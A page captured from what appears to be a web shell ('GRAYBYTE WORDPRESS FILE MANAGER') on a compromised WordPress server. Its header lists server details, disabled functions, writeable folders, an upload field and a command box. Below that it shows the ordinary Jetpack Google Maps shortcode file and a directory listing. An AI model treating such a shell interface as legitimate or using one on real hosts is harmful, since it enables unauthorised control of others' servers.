GRAYBYTE WORDPRESS FILE MANAGER3265

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/shortcodes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/shortcodes//googlemaps.php
<?php
/**
 * Google Maps embeds.
 *
 * Supported formats:
 * <iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=bg&amp;geocode=&amp;q=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1,+%D0%A1%D0%BE%D1%84%D0%B8%D1%8F,+%D0%91%D1%8A%D0%BB%D0%B3%D0%B0%D1%80%D0%B8%D1%8F&amp;sll=37.0625,-95.677068&amp;sspn=40.545434,79.013672&amp;ie=UTF8&amp;hq=&amp;hnear=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1&amp;ll=42.654446,23.372061&amp;spn=0.036864,0.077162&amp;t=h&amp;z=14&amp;output=embed"></iframe><br /><small><a href="http://maps.google.com/maps?f=q&amp;source=embed&amp;hl=bg&amp;geocode=&amp;q=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1,+%D0%A1%D0%BE%D1%84%D0%B8%D1%8F,+%D0%91%D1%8A%D0%BB%D0%B3%D0%B0%D1%80%D0%B8%D1%8F&amp;sll=37.0625,-95.677068&amp;sspn=40.545434,79.013672&amp;ie=UTF8&amp;hq=&amp;hnear=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1&amp;ll=42.654446,23.372061&amp;spn=0.036864,0.077162&amp;t=h&amp;z=14" style="color:#0000FF;text-align:left">Вижте по-голяма карта</a></small>
 * [googlemaps https://maps.google.com/maps?f=q&hl=en&geocode=&q=San+Francisco,+CA&sll=43.469466,-83.998504&sspn=0.01115,0.025942&g=San+Francisco,+CA&ie=UTF8&z=12&iwloc=addr&ll=37.808156,-122.402458&output=embed&s=AARTsJp56EajYksz3JXgNCwT3LJnGsqqAQ&w=425&h=350]
 * [googlemaps https://mapsengine.google.com/map/embed?mid=zbBhkou4wwtE.kUmp8K6QJ7SA&w=640&h=480]
 *
 * @package automattic/jetpack
 */

/**
 * Google maps iframe - transforms code that looks like that:
 * <iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=bg&amp;geocode=&amp;q=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1,+%D0%A1%D0%BE%D1%84%D0%B8%D1%8F,+%D0%91%D1%8A%D0%BB%D0%B3%D0%B0%D1%80%D0%B8%D1%8F&amp;sll=37.0625,-95.677068&amp;sspn=40.545434,79.013672&amp;ie=UTF8&amp;hq=&amp;hnear=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1&amp;ll=42.654446,23.372061&amp;spn=0.036864,0.077162&amp;t=h&amp;z=14&amp;output=embed"></iframe><br /><small><a href="http://maps.google.com/maps?f=q&amp;source=embed&amp;hl=bg&amp;geocode=&amp;q=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1,+%D0%A1%D0%BE%D1%84%D0%B8%D1%8F,+%D0%91%D1%8A%D0%BB%D0%B3%D0%B0%D1%80%D0%B8%D1%8F&amp;sll=37.0625,-95.677068&amp;sspn=40.545434,79.013672&amp;ie=UTF8&amp;hq=&amp;hnear=%D0%9C%D0%BB%D0%B0%D0%B4%D0%BE%D1%81%D1%82+1&amp;ll=42.654446,23.372061&amp;spn=0.036864,0.077162&amp;t=h&amp;z=14" style="color:#0000FF;text-align:left">Вижте по-голяма карта</a></small>
 * into the [googlemaps http://...] shortcode format
 *
 * @param string $content Post content.
 */
function jetpack_googlemaps_embed_to_short_code( $content ) {

	if ( ! is_string( $content ) || ( ! str_contains( $content, 'maps.google.' ) && 1 !== preg_match( '@google\.[^/]+/maps?@', $content ) ) ) {
		return $content;
	}

	/*
	 * IE and TinyMCE format things differently
	 * &lt;iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="<a href="https://maps.google.co.uk/maps/ms?msa=0&amp;amp;msid=206216869547772496318.0004bf5f0ff25aea47bd9&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;ll=50.91917,-1.398808&amp;amp;spn=0.013225,0.011794&amp;amp;output=embed&quot;&gt;&lt;/iframe&gt;&lt;br">https://maps.google.co.uk/maps/ms?msa=0&amp;amp;msid=206216869547772496318.0004bf5f0ff25aea47bd9&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;ll=50.91917,-1.398808&amp;amp;spn=0.013225,0.011794&amp;amp;output=embed"&gt;&lt;/iframe&gt;&lt;br</a> /&gt;&lt;small&gt;View &lt;a href="<a href="https://maps.google.co.uk/maps/ms?msa=0&amp;amp;msid=206216869547772496318.0004bf5f0ff25aea47bd9&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;ll=50.91917,-1.398808&amp;amp;spn=0.013225,0.011794&amp;amp;source=embed">https://maps.google.co.uk/maps/ms?msa=0&amp;amp;msid=206216869547772496318.0004bf5f0ff25aea47bd9&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;ll=50.91917,-1.398808&amp;amp;spn=0.013225,0.011794&amp;amp;source=embed</a>" style="color:#0000FF;text-align:left"&gt;OARA Membership Discount Map&lt;/a&gt; in a larger map&lt;/small&gt;
	 */
	if ( strpos( $content, 'src="<a href="' ) !== false ) {
		$content = preg_replace_callback( '#&lt;iframe\s[^&]*?(?:&(?!gt;)[^&]*?)*?src="<a href="https?://(.*)?\.google\.(.*?)/(.*?)\?(.+?)&quot;[^&]*?(?:&(?!gt;)[^&]*?)*?&gt;\s*&lt;/iframe&gt;&lt;br">[^"]*?"&gt;\s*&lt;/iframe&gt;(?:&lt;br</a>\s*/&gt;\s*&lt;small&gt;.*?&lt;/small&gt;)?#i', 'jetpack_googlemaps_embed_to_short_code_callback', $content );
		return $content;
	}

	$content = preg_replace_callback( '!\<iframe\s[^>]*?src="https?://(.*)?\.google\.(.*?)/(.*?)\?(.+?)"[^>]*?\>\s*\</iframe\>(?:\s*(?:\<br\s*/?\>)?\s*\<small\>.*?\</small\>)?!i', 'jetpack_googlemaps_embed_to_short_code_callback', $content );

	$content = preg_replace_callback( '#&lt;iframe\s[^&]*?(?:&(?!gt;)[^&]*?)*?src="https?://(.*)?\.google\.(.*?)/(.*?)\?(.+?)"[^&]*?(?:&(?!gt;)[^&]*?)*?&gt;\s*&lt;/iframe&gt;(?:\s*(?:&lt;br\s*/?&gt;)?\s*&lt;small&gt;.*?&lt;/small&gt;)?#i', 'jetpack_googlemaps_embed_to_short_code_callback', $content );

	return $content;
}

/**
 * Callback transforming a Google Maps iFrame code into a shortcode.
 *
 * @param array $match Array of embed parameters used to build the final URL.
 */
function jetpack_googlemaps_embed_to_short_code_callback( $match ) {

	if ( preg_match( '/\bwidth=[\'"](\d+)(%)?/', $match[0], $width ) ) {
		$percent = ! empty( $width[2] ) ? '%' : '';
		$width   = absint( $width[1] ) . $percent;
	} else {
		$width = 425;
	}

	if ( preg_match( '/\bheight=[\'"](\d+)(%)?/', $match[0], $height ) ) {
		$percent = ! empty( $height[2] ) ? '%' : '';
		$height  = absint( $height[1] ) . $percent;
	} else {
		$height = 350;
	}

	$url = "https://{$match[1]}.google.{$match[2]}/{$match[3]}?{$match[4]}&amp;w={$width}&amp;h={$height}";

	/** This action is documented in modules/shortcodes/youtube.php */
	do_action( 'jetpack_embed_to_shortcode', 'googlemaps', $url );

	return "[googlemaps $url]";
}

add_filter( 'pre_kses', 'jetpack_googlemaps_embed_to_short_code' );

/**
 * Display the [googlemaps] shortcode
 *
 * @param array $atts Shortcode attributes.
 */
function jetpack_googlemaps_shortcode( $atts ) {
	if ( ! isset( $atts[0] ) ) {
		return '';
	}

	$params = ltrim( $atts[0], '=' );

	$width  = 425;
	$height = 350;

	if ( preg_match( '!^https?://(www|maps|mapsengine)\.google(\.co|\.com)?(\.[a-z]+)?/.*?(\?.+)!i', $params, $match ) ) {
		$params = str_replace( '&amp;amp;', '&amp;', $params );
		$params = str_replace( '&amp;', '&', $params );
		parse_str( $params, $arg );

		if ( isset( $arg['hq'] ) ) {
			unset( $arg['hq'] );
		}

		$url = '';
		foreach ( (array) $arg as $key => $value ) {
			if ( 'w' === $key ) {
				$percent = ( str_ends_with( $value, '%' ) ) ? '%' : '';
				$width   = (int) $value . $percent;
			} elseif ( 'h' === $key ) {
				$height = (int) $value;
			} else {
				$key  = str_replace( '_', '.', $key );
				$url .= esc_attr( "$key=$value&amp;" );
			}
		}
		$url = substr( $url, 0, -5 );

		$url = str_replace( 'http://', 'https://', $url );

		$css_class = 'googlemaps';

		if ( ! empty( $atts['align'] ) && in_array( strtolower( $atts['align'] ), array( 'left', 'center', 'right' ), true ) ) {
			$atts['align'] = strtolower( $atts['align'] );

			if ( 'left' === $atts['align'] ) {
				$css_class .= ' alignleft';
			} elseif ( 'center' === $atts['align'] ) {
				$css_class .= ' aligncenter';
			} elseif ( 'right' === $atts['align'] ) {
				$css_class .= ' alignright';
			}
		}

		$sandbox = class_exists( 'Jetpack_AMP_Support' ) && Jetpack_AMP_Support::is_amp_request()
			? 'sandbox="allow-popups allow-scripts allow-same-origin"'
			: '';

		return sprintf(
			'<div class="%1$s">
				<iframe width="%2$d" height="%3$d" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" %5$s src="%4$s"></iframe>
			</div>',
			esc_attr( $css_class ),
			absint( $width ),
			absint( $height ),
			esc_url( $url ),
			$sandbox
		);
	}
}
add_shortcode( 'googlemaps', 'jetpack_googlemaps_shortcode' );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
css
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
images
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
img
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
js
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
archiveorg-book.php
3.314 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
archiveorg.php
3.921 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
archives.php
2.38 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
bandcamp.php
7.749 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
brightcove.php
8.77 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
cartodb.php
0.784 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
class.filter-embedded-html-objects.php
13.012 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
codepen.php
0.259 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
crowdsignal.php
21.596 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
dailymotion.php
15.268 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
descript.php
2.995 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
facebook.php
4.727 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
flatio.php
0.374 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
flickr.php
9.289 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
getty.php
7.539 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
gist.php
8.313 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googleapps.php
9.843 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googlemaps.php
7.969 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googleplus.php
1.029 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
gravatar.php
6.133 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
houzz.php
0.898 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
inline-pdfs.php
1.141 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
instagram.php
14.506 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
kickstarter.php
2.391 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
mailchimp.php
7.025 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
medium.php
3.223 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
mixcloud.php
3.616 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
others.php
2.065 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
pinterest.php
1.791 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
presentations.php
14.532 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
quiz.php
9.158 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
recipe.php
18.951 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
scribd.php
2.445 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
sitemap.php
0.549 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
slideshare.php
3.812 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
slideshow.php
9.271 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
smartframe.php
3.641 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
soundcloud.php
8.676 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
spotify.php
3.258 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
ted.php
3.349 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
tweet.php
5.027 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
twitchtv.php
2.625 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
twitter-timeline.php
1.933 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
unavailable.php
3.237 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
untappd-menu.php
2.406 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
upcoming-events.php
1.684 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
ustream.php
3.131 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
videopress.php
0.413 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vimeo.php
11.509 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vine.php
2.611 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vr.php
4.917 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
wufoo.php
3.382 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
youtube.php
23.328 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF